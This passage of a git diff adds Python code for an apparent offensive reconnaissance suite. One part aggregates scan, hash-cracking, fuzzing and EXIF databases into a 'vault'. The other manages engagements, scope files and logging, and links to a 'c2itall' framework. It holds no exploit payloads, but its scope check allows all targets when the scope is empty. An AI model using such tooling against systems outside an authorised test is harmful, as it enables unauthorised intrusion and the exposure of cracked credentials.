if not os.path.exists(exif_db_path): + return 0 + src = sqlite3.connect(exif_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM images WHERE has_exif=1").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO exif_data (file_path, file_name, camera_make, + camera_model, datetime_original, gps_coords, artist, copyright) + VALUES (?, ?, ?, ?, ?, ?, ?, ?) + """, (r["file_path"], r["file_name"], r["camera_make"], r["camera_model"], + r["datetime_original"], r["gps_coords"], r["artist"], r["copyright"])) + count += 1 + vault_conn.commit() + src.close() + return count + +def import_enum_db(vault_conn, enum_db_path): + """Import from um-enum.db.""" + if not os.path.exists(enum_db_path): + return 0 + src = sqlite3.connect(enum_db_path) + src.row_factory = sqlite3.Row + count = 0 + for r in src.execute("SELECT * FROM findings").fetchall(): + vault_conn.execute(""" + INSERT OR IGNORE INTO enum_findings (domain, phase, command, value, url, status_code) + VALUES (?, ?, ?, ?, ?, ?) + """, (r["domain"], r["phase"], r["command"], r["value"], + r["url"], r["status_code"])) + count += 1 + vault_conn.commit() + src.close() + return count + +# Map tool prefixes to import functions +IMPORT_MAP = { + "um-wp": import_wp_db, + "um-hash": import_hash_db, + "um-crack": import_crack_db, + "um-scan": import_scan_db, + "um-intel": import_intel_db, + "um-api": import_api_db, + "um-fuzz": import_fuzz_db, + "um-exif": import_exif_db, + "um-enum": import_enum_db, +} + +def detect_db_type(path): + """Detect which Umbra tool created a .db file.""" + basename = os.path.basename(path).lower() + for prefix in IMPORT_MAP: + if basename.startswith(prefix): + return prefix + # Try detecting by table names + try: + conn = sqlite3.connect(path) + tables = [r[0] for r in conn.execute( + "SELECT name FROM sqlite_master WHERE type='table'" + ).fetchall()] + conn.close() + if "sites" in tables and "hashes" not in tables: + return "um-wp" + if "hashes" in tables and "sites" in tables: + return "um-hash" + if "hashes" in tables and "sites" not in tables: + return "um-crack" + if "ports" in tables: + return "um-scan" + if "findings" in tables and "targets" in tables: + # Could be intel or enum โ€” check columns + try: + conn = sqlite3.connect(path) + cols = [r[1] for r in conn.execute("PRAGMA table_info(findings)").fetchall()] + conn.close() + if "source" in cols: + return "um-intel" + if "phase" in cols: + return "um-enum" + except Exception: + pass + if "endpoints" in tables: + return "um-api" + if "results" in tables: + return "um-fuzz" + if "images" in tables: + return "um-exif" + except Exception: + pass + return None + +# โ”€โ”€โ”€ Dashboard TUI โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +console = Console() +from um_tui import UmbraTUI +from um_ops import (create_engagement, get_engagement_db_path, list_engagements, + generate_engagement_summary, op_log, op_log_csv, get_ops_hook) + +MENU_ITEMS = [ + ("1", "Import a tool database"), + ("2", "Import all (auto-detect)"), + ("3", "Merge from directory"), + ("4", "Dashboard / statistics"), + ("5", "Run SQL query"), + ("6", "Export table to CSV"), + ("7", "Create engagement"), + ("8", "Switch engagement"), + ("9", "Engagement summary"), + ("Q", "Quit"), +] + +VAULT_INFO = [ + "10-table relational schema", + "Auto-detect DB type", + "Import from all Umbra tools", + "Custom SQL queries", + "Per-table CSV export", +] + +def get_db_stats(conn): + try: + tables_counts = [] + for tbl in ["domains", "hashes", "ports", "intel", "api_endpoints", + "fuzz_results", "exif_data", "enum_findings"]: + try: + c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0] + if c > 0: + tables_counts.append(f"{tbl}:{c:,}") + except Exception: + pass + return " | ".join(tables_counts) if tables_counts else "Vault: empty" + except Exception: + return "Vault: empty" + +def show_dashboard(conn): + """Show comprehensive statistics dashboard.""" + stats = {} + + tables = { + "domains": "Domains", + "hashes": "Hashes", + "ports": "Open Ports", + "intel": "Intel Findings", + "api_endpoints": "API Endpoints", + "fuzz_results": "Fuzz Results", + "exif_data": "EXIF Images", + "enum_findings": "Enum Findings", + "countries": "Countries", + "organizations": "Organizations", + } + + for table, label in tables.items(): + try: + count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0] + stats[label] = count + except Exception: + stats[label] = 0 + + # Main stats table + main_table = Table(box=box.HEAVY, border_style=THEME_COLOR, + title=f"[bold {THEME_COLOR}]Umbra Vault โ€” Master Database[/]") + main_table.add_column("Table", style="bold", width=20) + main_table.add_column("Records", justify="right", style="cyan", width=12) + + for label, count in stats.items(): + style = "[green]" if count > 0 else "[dim]" + main_table.add_row(label, f"{style}{count:,}[/]") + + console.print(main_table) + + # Domain breakdown + try: + wp_count = conn.execute("SELECT COUNT(*) FROM domains WHERE is_wordpress=1").fetchone()[0] + total_domains = stats.get("Domains", 0) + if total_domains: + console.print(f"\n[green]WordPress: {wp_count}/{total_domains} ({wp_count/total_domains*100:.1f}%)[/]") + except Exception: + pass + + # Hash breakdown + try: + total_hashes = stats.get("Hashes", 0) + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + if total_hashes: + console.print(f"[green]Cracked: {cracked}/{total_hashes} ({cracked/total_hashes*100:.1f}%)[/]") + except Exception: + pass + + # Top services + try: + top_services = conn.execute(""" + SELECT service, COUNT(*) as cnt FROM ports + GROUP BY service ORDER BY cnt DESC LIMIT 5 + """).fetchall() + if top_services: + svc_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, + title=f"[{THEME_COLOR}]Top Services[/]") + svc_table.add_column("Service", style="cyan") + svc_table.add_column("Count", justify="right") + for s in top_services: + svc_table.add_row(s["service"], str(s["cnt"])) + console.print(svc_table) + except Exception: + pass + + # Top intel sources + try: + top_sources = conn.execute(""" + SELECT source, COUNT(*) as cnt FROM intel + GROUP BY source ORDER BY cnt DESC LIMIT 5 + """).fetchall() + if top_sources: + src_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, + title=f"[{THEME_COLOR}]Top Intel Sources[/]") + src_table.add_column("Source", style="yellow") + src_table.add_column("Count", justify="right") + for s in top_sources: + src_table.add_row(s["source"], str(s["cnt"])) + console.print(src_table) + except Exception: + pass + +def export_table_csv(conn, table_name, output): + """Export a specific table to CSV.""" + try: + cursor = conn.execute(f'SELECT * FROM "{table_name}"') + rows = cursor.fetchall() + cols = [d[0] for d in cursor.description] + with open(output, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(cols) + for r in rows: + writer.writerow(list(r)) + console.print(f"[green]Exported {len(rows)} rows from {table_name} to {output}[/]") + except Exception as e: + console.print(f"[red]Export error: {e}[/]") + +# โ”€โ”€โ”€ CLI โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +@click.group(invoke_without_command=True) +@click.option("--db", default="um-vault.db", help="Vault database path") +@click.option("--engagement", "-E", default=None, help="Engagement name for organized output") +@click.pass_context +def cli(ctx, db, engagement): + """Umbra Vault โ€” Master database aggregator for all Umbra tools.""" + ctx.ensure_object(dict) + # Env var fallback + engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "") + if engagement: + create_engagement(engagement) + db = get_engagement_db_path(engagement, TOOL_NAME) + ctx.obj["db"] = db + ctx.obj["engagement"] = engagement + # Ops hook + hook = get_ops_hook(TOOL_NAME, engagement) + ctx.obj["hook"] = hook + if hook: + hook.register() + if ctx.invoked_subcommand is None: + interactive_menu(ctx) + +@cli.command("import") +@click.argument("source") +@click.option("--type", "db_type", default=None, + help="Database type (um-wp, um-hash, um-crack, um-scan, um-intel, um-api, um-fuzz, um-exif, um-enum)") +@click.pass_context +def import_cmd(ctx, source, db_type): + """Import an Umbra tool database into the vault.""" + conn = init_db(ctx.obj["db"]) + + if not db_type: + db_type = detect_db_type(source) + if not db_type: + console.print(f"[red]Cannot detect database type for {source}. Use --type to specify.[/]") + conn.close() + return + + if db_type not in IMPORT_MAP: + console.print(f"[red]Unknown type: {db_type}[/]") + conn.close() + return + + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, source) + console.print(f"[green]Imported {count} records from {source} ({db_type})[/]") + show_dashboard(conn) + conn.close() + +@cli.command() +@click.argument("directory") +@click.pass_context +def merge(ctx, directory): + """Merge all .db files from a directory into the vault.""" + conn = init_db(ctx.obj["db"]) + + db_files = glob.glob(os.path.join(directory, "*.db")) + if not db_files: + console.print(f"[red]No .db files found in {directory}[/]") + conn.close() + return + + total_imported = 0 + for db_path in sorted(db_files): + if os.path.basename(db_path) == os.path.basename(ctx.obj["db"]): + continue # Skip vault itself + + db_type = detect_db_type(db_path) + if db_type and db_type in IMPORT_MAP: + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, db_path) + console.print(f"[dim] {os.path.basename(db_path)} ({db_type}): {count} records[/]") + total_imported += count + else: + console.print(f"[yellow] {os.path.basename(db_path)}: unknown type, skipped[/]") + + console.print(f"\n[green]Total imported: {total_imported} records from {len(db_files)} files[/]") + show_dashboard(conn) + conn.close() + +@cli.command("import-all") +@click.pass_context +def import_all(ctx): + """Auto-import all Umbra .db files from current directory.""" + conn = init_db(ctx.obj["db"]) + + default_files = { + "um-wp": "um-wp.db", + "um-hash": "um-hash.db", + "um-crack": "um-crack.db", + "um-scan": "um-scan.db", + "um-intel": "um-intel.db", + "um-api": "um-api.db", + "um-fuzz": "um-fuzz.db", + "um-exif": "um-exif.db", + "um-enum": "um-enum.db", + } + + total = 0 + for db_type, filename in default_files.items(): + if os.path.exists(filename): + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, filename) + console.print(f"[green] {filename}: {count} records[/]") + total += count + else: + console.print(f"[dim] {filename}: not found[/]") + + console.print(f"\n[green]Total: {total} records imported[/]") + show_dashboard(conn) + conn.close() + +@cli.command() +@click.pass_context +def dashboard(ctx): + """Show the statistics dashboard.""" + conn = init_db(ctx.obj["db"]) + show_dashboard(conn) + conn.close() + +@cli.command() +@click.argument("table_name") +@click.option("-o", "--output", default=None) +@click.pass_context +def export(ctx, table_name, output): + """Export a vault table to CSV.""" + conn = init_db(ctx.obj["db"]) + if not output: + output = f"um-vault-{table_name}.csv" + export_table_csv(conn, table_name, output) + conn.close() + +@cli.command() +@click.argument("sql_query") +@click.pass_context +def query(ctx, sql_query): + """Run a custom SQL query on the vault.""" + conn = init_db(ctx.obj["db"]) + try: + cursor = conn.execute(sql_query) + rows = cursor.fetchall() + if rows: + cols = [d[0] for d in cursor.description] + table = Table(box=box.ROUNDED, border_style=THEME_COLOR) + for col in cols: + table.add_column(col, style="cyan") + for r in rows[:100]: + table.add_row(*[str(v)[:50] for v in r]) + console.print(table) + console.print(f"[dim]{len(rows)} rows[/]") + else: + console.print("[dim]No results.[/]") + except Exception as e: + console.print(f"[red]Query error: {e}[/]") + conn.close() + +# โ”€โ”€โ”€ Interactive Menu โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +def interactive_menu(ctx): + conn = init_db(ctx.obj["db"]) + + def action_handler(key, tui): + if key == "1": + def on_source(source): + if os.path.exists(source): + db_type = detect_db_type(source) + if db_type: + tui.log(f"[*] Detected type: {db_type}") + import_fn = IMPORT_MAP[db_type] + count = import_fn(conn, source) + tui.log(f"[+] Imported {count} records from {source}") + else: + tui.log(f"[!] Cannot detect database type for {source}") + else: + tui.log(f"[!] File not found: {source}") + tui.prompt("Database file path", on_source) + + elif key == "2": + default_files = { + "um-wp": "um-wp.db", "um-hash": "um-hash.db", + "um-crack": "um-crack.db", "um-scan": "um-scan.db", + "um-intel": "um-intel.db", "um-api": "um-api.db", + "um-fuzz": "um-fuzz.db", "um-exif": "um-exif.db", + "um-enum": "um-enum.db", + } + total = 0 + for db_type, filename in default_files.items(): + if os.path.exists(filename): + count = IMPORT_MAP[db_type](conn, filename) + tui.log(f"[+] {filename}: {count} records") + total += count + else: + tui.log(f"[-] {filename}: not found") + tui.log(f"[*] Total imported: {total} records") + + elif key == "3": + def on_dir(directory): + db_files = glob.glob(os.path.join(directory, "*.db")) + if not db_files: + tui.log(f"[!] No .db files found in {directory}") + return + for db_path in db_files: + db_type = detect_db_type(db_path) + if db_type and db_type in IMPORT_MAP: + count = IMPORT_MAP[db_type](conn, db_path) + tui.log(f"[+] {os.path.basename(db_path)}: {count} records") + else: + tui.log(f"[-] {os.path.basename(db_path)}: unknown type, skipped") + tui.prompt("Directory path", on_dir) + + elif key == "4": + # Build dashboard as a Rich table for VIEW mode + stats = {} + tables_map = { + "domains": "Domains", "hashes": "Hashes", + "ports": "Open Ports", "intel": "Intel Findings", + "api_endpoints": "API Endpoints", "fuzz_results": "Fuzz Results", + "exif_data": "EXIF Images", "enum_findings": "Enum Findings", + "countries": "Countries", "organizations": "Organizations", + } + for table, label in tables_map.items(): + try: + count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0] + stats[label] = count + except Exception: + stats[label] = 0 + t = Table(box=box.HEAVY, border_style=THEME_COLOR, + title=f"[bold {THEME_COLOR}]Umbra Vault \u2014 Master Database[/]") + t.add_column("Table", style="bold", width=20) + t.add_column("Records", justify="right", style="cyan", width=12) + for label, count in stats.items(): + style = "[green]" if count > 0 else "[dim]" + t.add_row(label, f"{style}{count:,}[/]") + tui.show_table(t) + + elif key == "5": + def on_sql(sql): + try: + cursor = conn.execute(sql) + rows = cursor.fetchall() + if rows: + cols = [d[0] for d in cursor.description] + t = Table(box=box.ROUNDED, border_style=THEME_COLOR) + for col in cols: + t.add_column(col) + for r in rows[:50]: + t.add_row(*[str(v)[:40] for v in r]) + tui.log(f"[*] Query returned {len(rows)} rows") + tui.show_table(t) + else: + tui.log("[-] No results.") + except Exception as e: + tui.log(f"[!] Query error: {e}") + tui.prompt("SQL", on_sql) + + elif key == "6": + def on_table(tname): + def on_file(out): + export_table_csv(conn, tname, out) + tui.log(f"[+] Exported {tname} to {out}") + tui.prompt("Output file", on_file, default=f"um-vault-{tname}.csv") + tui.prompt("Table name", on_table) + + elif key == "7": + def on_name(name): + from um_ops import create_engagement + eng_dir = create_engagement(name) + tui.log(f"[+] Engagement created: {name}") + tui.log(f" Path: {eng_dir}") + tui.log(f" Edit scope: {eng_dir}/scope.txt") + tui.prompt("Engagement name", on_name) + + elif key == "8": + engagements = list_engagements() + if not engagements: + tui.log("[!] No engagements found. Create one first.") + else: + for i, eng in enumerate(engagements, 1): + tui.log(f" {i}) {eng}") + def on_choice(choice): + try: + idx = int(choice) - 1 + if 0 <= idx < len(engagements): + eng_name = engagements[idx] + new_db = get_engagement_db_path(eng_name, TOOL_NAME) + nonlocal conn + conn.close() + conn = init_db(new_db) + tui.engagement = eng_name + ctx.obj["engagement"] = eng_name + tui.log(f"[+] Switched to engagement: {eng_name}") + else: + tui.log("[!] Invalid selection") + except ValueError: + tui.log("[!] Enter a number") + tui.prompt("Select engagement #", on_choice) + + elif key == "9": + eng = ctx.obj.get("engagement") + if not eng: + tui.log("[!] No engagement active. Use --engagement or switch first.") + else: + summary = generate_engagement_summary(eng) + tui.log(summary) + + tui = UmbraTUI( + tool_name=TOOL_NAME, + version=VERSION, + menu_items=MENU_ITEMS, + info_items=VAULT_INFO, + action_handler=action_handler, + stats_fn=lambda: get_db_stats(conn), + theme=THEME_COLOR, + engagement=ctx.obj.get("engagement"), + ) + tui.run() + conn.close() + +if __name__ == "__main__": + cli() diff --git a/tools/umbra/um_ops.py b/tools/umbra/um_ops.py new file mode 100644 index 0000000..455a92d --- /dev/null +++ b/tools/umbra/um_ops.py @@ -0,0 +1,495 @@ +"""um_ops.py โ€” Engagement management, scope enforcement, operational logging, +and cross-tool import utilities for the Umbra reconnaissance suite. +""" + +import atexit +import csv +import fcntl +import ipaddress +import json +import os +import re +import sqlite3 +import sys +import time +from datetime import datetime +from fnmatch import fnmatch + +# โ”€โ”€โ”€ Paths โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +UMBRA_HOME = os.path.expanduser("~/.umbra") +ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements") + +# Sub-directories created per engagement +ENGAGEMENT_SUBDIRS = [ + "targets", "scans", "api", "intel", "enum", "fuzz", + "hashes", "wordpress", "cracking", "exif", "exports", +] + +# Tool name โ†’ engagement subdirectory mapping +TOOL_DIR_MAP = { + "um-scan": "scans", + "um-api": "api", + "um-intel": "intel", + "um-enum": "enum", + "um-fuzz": "fuzz", + "um-hash": "hashes", + "um-wp": "wordpress", + "um-crack": "cracking", + "um-exif": "exif", + "um-vault": ".", +} + +# โ”€โ”€โ”€ Ops Hook Bridge โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +_ops_hook_cls = None + +def get_ops_hook(tool_name, engagement=None): + """Return an OpsHook instance (auto-imports from c2itall). Returns None if unavailable. + + Registers an atexit handler to call hook.complete() on clean exit. + """ + global _ops_hook_cls + engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "") + if not engagement: + return None + if _ops_hook_cls is None: + try: + c2_path = os.path.expanduser("~/tools/c2itall") + if c2_path not in sys.path: + sys.path.insert(0, c2_path) + from utils.ops_hook import OpsHook + _ops_hook_cls = OpsHook + except ImportError: + _ops_hook_cls = False # sentinel: tried and failed + if _ops_hook_cls is False: + return None + hook = _ops_hook_cls(tool_name, engagement) + atexit.register(lambda h=hook: _safe_complete(h)) + return hook + + +def _safe_complete(hook): + """atexit callback โ€” mark tool completed if it's still running.""" + try: + if hook and hook.active: + hook.complete() + except Exception: + pass + + +# โ”€โ”€โ”€ Engagement Management โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def create_engagement(name): + """Create engagement directory structure. Idempotent โ€” safe to call multiple times. + + Returns the engagement root path. + """ + name = name.strip().replace(" ", "_") + eng_dir = os.path.join(ENGAGEMENTS_DIR, name) + os.makedirs(eng_dir, exist_ok=True) + + # Core files + scope_file = os.path.join(eng_dir, "scope.txt") + if not os.path.exists(scope_file): + with open(scope_file, "w") as f: + f.write("# Scope file โ€” one target per line\n") + f.write("# Supported: CIDR (10.0.0.0/24), IP ranges (10.0.0.1-10), single IPs, FQDNs, *.wildcard\n") + + log_file = os.path.join(eng_dir, "umbra.log") + if not os.path.exists(log_file): + with open(log_file, "w") as f: + f.write(f"# Umbra engagement log โ€” {name}\n") + f.write(f"# Created: {datetime.now().isoformat()}\n\n") + + csv_file = os.path.join(eng_dir, "command_log.csv") + if not os.path.exists(csv_file): + with open(csv_file, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(["timestamp", "tool", "action", "target", "result"]) + + # Sub-directories + for subdir in ENGAGEMENT_SUBDIRS: + os.makedirs(os.path.join(eng_dir, subdir), exist_ok=True) + + return eng_dir + + +def list_engagements(): + """Return a sorted list of engagement names.""" + if not os.path.isdir(ENGAGEMENTS_DIR): + return [] + return sorted( + d for d in os.listdir(ENGAGEMENTS_DIR) + if os.path.isdir(os.path.join(ENGAGEMENTS_DIR, d)) + ) + + +def get_engagement_dir(name): + """Return the engagement root directory (creates if needed).""" + return create_engagement(name) + + +def get_tool_output_dir(engagement, tool_name): + """Return the tool-specific subdirectory inside an engagement.""" + eng_dir = get_engagement_dir(engagement) + subdir = TOOL_DIR_MAP.get(tool_name, "exports") + path = os.path.join(eng_dir, subdir) + os.makedirs(path, exist_ok=True) + return path + + +def get_engagement_db_path(engagement, tool_name): + """Return the path for a tool's database inside an engagement.""" + tool_dir = get_tool_output_dir(engagement, tool_name) + return os.path.join(tool_dir, f"{tool_name}.db") + + +# โ”€โ”€โ”€ Scope Enforcement โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def load_scope(file_path): + """Parse a scope file and return a list of scope entries. + + Supported formats: + - CIDR: 10.0.0.0/24 + - IP range: 10.0.0.1-10 (expands last octet) + - Single IP: 10.0.0.1 + - FQDN: example.com + - Wildcard: *.example.com + - Comment lines start with # + """ + scope = [] + file_path = os.path.expanduser(file_path) + if not os.path.exists(file_path): + return scope + + with open(file_path) as f: + for raw_line in f: + line = raw_line.strip() + if not line or line.startswith("#"): + continue + scope.append(line) + return scope + + +def _is_ip(s): + """Check if string looks like an IP address.""" + try: + ipaddress.ip_address(s) + return True + except ValueError: + return False + + +def _match_cidr(target_ip, cidr): + """Check if an IP is within a CIDR range.""" + try: + return ipaddress.ip_address(target_ip) in ipaddress.ip_network(cidr, strict=False) + except ValueError: + return False + + +def _match_ip_range(target_ip, range_str): + """Match an IP range like 10.0.0.1-10.""" + m = re.match(r"^(\d+\.\d+\.\d+\.)(\d+)-(\d+)$", range_str) + if not m: + return False + prefix, start, end = m.group(1), int(m.group(2)), int(m.group(3)) + try: + last_octet = int(target_ip.split(".")[-1]) + ip_prefix = ".".join(target_ip.split(".")[:-1]) + "." + return ip_prefix == prefix and start <= last_octet <= end + except (ValueError, IndexError): + return False + + +def check_scope(target, scope): + """Check if a target is within scope. + + Returns True if allowed (in scope or scope is empty). + Returns False if blocked (out of scope). + """ + if not scope: + return True # Empty scope = allow all + + # Normalize target + target = target.strip().lower() + # Strip protocol/path if URL + if "://" in target: + from urllib.parse import urlparse + parsed = urlparse(target) + target = parsed.hostname or target + + target_is_ip = _is_ip(target) + + for entry in scope: + entry_lower = entry.lower().strip() + + # CIDR match + if "/" in entry and target_is_ip: + if _match_cidr(target, entry): + return True + continue + + # IP range match + if re.match(r"^\d+\.\d+\.\d+\.\d+-\d+$", entry): + if target_is_ip and _match_ip_range(target, entry): + return True + continue + + # Exact IP match + if _is_ip(entry) and target_is_ip: + if target == entry: + return True + continue + + # Wildcard FQDN match + if entry_lower.startswith("*."): + # *.example.com matches foo.example.com and example.com + domain_part = entry_lower[2:] + if target == domain_part or target.endswith("." + domain_part): + return True + continue + + # Exact FQDN match + if target == entry_lower: + return True + + return False + + +def get_scope_for_engagement(name): + """Load scope from an engagement's scope.txt file.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_")) + scope_file = os.path.join(eng_dir, "scope.txt") + return load_scope(scope_file) + + +# โ”€โ”€โ”€ Operational Logging โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def op_log(engagement, message, level="info"): + """Append a timestamped log entry to the engagement's umbra.log. + + Levels: info=[*], success=[+], warning=[!], error=[-] + """ + prefixes = { + "info": "[*]", + "success": "[+]", + "warning": "[!]", + "error": "[-]", + } + prefix = prefixes.get(level, "[*]") + ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + log_path = os.path.join(eng_dir, "umbra.log") + try: + os.makedirs(eng_dir, exist_ok=True) + with open(log_path, "a") as f: + f.write(f"{ts} {prefix} {message}\n") + except OSError: + pass + + +def op_log_csv(engagement, tool, action, target, result): + """Append a structured CSV audit row to command_log.csv.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + csv_path = os.path.join(eng_dir, "command_log.csv") + ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + try: + os.makedirs(eng_dir, exist_ok=True) + with open(csv_path, "a", newline="") as f: + writer = csv.writer(f) + writer.writerow([ts, tool, action, target, result]) + except OSError: + pass + + +def generate_engagement_summary(name): + """Generate a text summary of all tool activity within an engagement.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_")) + if not os.path.isdir(eng_dir): + return f"Engagement '{name}' not found." + + lines = [ + f"Engagement Summary: {name}", + f"{'=' * 50}", + f"Path: {eng_dir}", + f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", + "", + ] + + # Check each tool subdirectory for .db files + for tool_name, subdir in TOOL_DIR_MAP.items(): + tool_dir = os.path.join(eng_dir, subdir) + db_path = os.path.join(tool_dir, f"{tool_name}.db") + if os.path.exists(db_path): + try: + conn = sqlite3.connect(db_path) + tables = [r[0] for r in conn.execute( + "SELECT name FROM sqlite_master WHERE type='table'" + ).fetchall()] + counts = {} + for tbl in tables: + try: + c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0] + if c > 0: + counts[tbl] = c + except Exception: + pass + conn.close() + if counts: + lines.append(f" {tool_name}:") + for tbl, cnt in counts.items(): + lines.append(f" {tbl}: {cnt:,} records") + except Exception: + lines.append(f" {tool_name}: DB error") + else: + # Check if directory has any files at all + if os.path.isdir(tool_dir) and os.listdir(tool_dir): + lines.append(f" {tool_name}: files present (no DB)") + + # Scope info + scope = get_scope_for_engagement(name) + if scope: + lines.append(f"\nScope: {len(scope)} entries") + for entry in scope[:10]: + lines.append(f" {entry}") + if len(scope) > 10: + lines.append(f" ... and {len(scope) - 10} more") + + # Log stats + log_path = os.path.join(eng_dir, "umbra.log") + if os.path.exists(log_path): + with open(log_path) as f: + log_lines = f.readlines() + # Count non-comment, non-empty lines + entries = [l for l in log_lines if l.strip() and not l.startswith("#")] + lines.append(f"\nLog entries: {len(entries)}") + + # CSV command log + csv_path = os.path.join(eng_dir, "command_log.csv") + if os.path.exists(csv_path): + with open(csv_path) as f: + reader = csv.reader(f) + next(reader, None) # Skip header + commands = list(reader) + lines.append(f"Commands logged: {len(commands)}") + + return "\n".join(lines) + + +# โ”€โ”€โ”€ State & Event Stream (for ops dashboard) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def write_tool_state(engagement, tool_name, status, **extra): + """Write tool status to state.json for dashboard consumption. + + Called automatically by op_log when level is 'success' (tool start/finish). + Can also be called directly for fine-grained control. + """ + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + state_path = os.path.join(eng_dir, "state.json") + try: + os.makedirs(eng_dir, exist_ok=True) + fd = os.open(state_path, os.O_RDWR | os.O_CREAT) + try: + fcntl.flock(fd, fcntl.LOCK_EX) + raw = b"" + while True: + chunk = os.read(fd, 8192) + if not chunk: + break + raw += chunk + state = json.loads(raw) if raw.strip() else {"tools": {}} + state.setdefault("tools", {}) + tool_entry = state["tools"].get(tool_name, {}) + tool_entry["status"] = status + tool_entry.update(extra) + state["tools"][tool_name] = tool_entry + state["updated"] = time.strftime("%Y-%m-%dT%H:%M:%S") + out = json.dumps(state, indent=2).encode() + os.lseek(fd, 0, os.SEEK_SET) + os.ftruncate(fd, 0) + os.write(fd, out) + finally: + fcntl.flock(fd, fcntl.LOCK_UN) + os.close(fd) + except OSError: + pass + + +def emit_event(engagement, tool_name, event_type, message): + """Append event to events.jsonl for dashboard live feed.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + events_path = os.path.join(eng_dir, "events.jsonl") + try: + os.makedirs(eng_dir, exist_ok=True) + entry = json.dumps({ + "ts": time.strftime("%Y-%m-%dT%H:%M:%S"), + 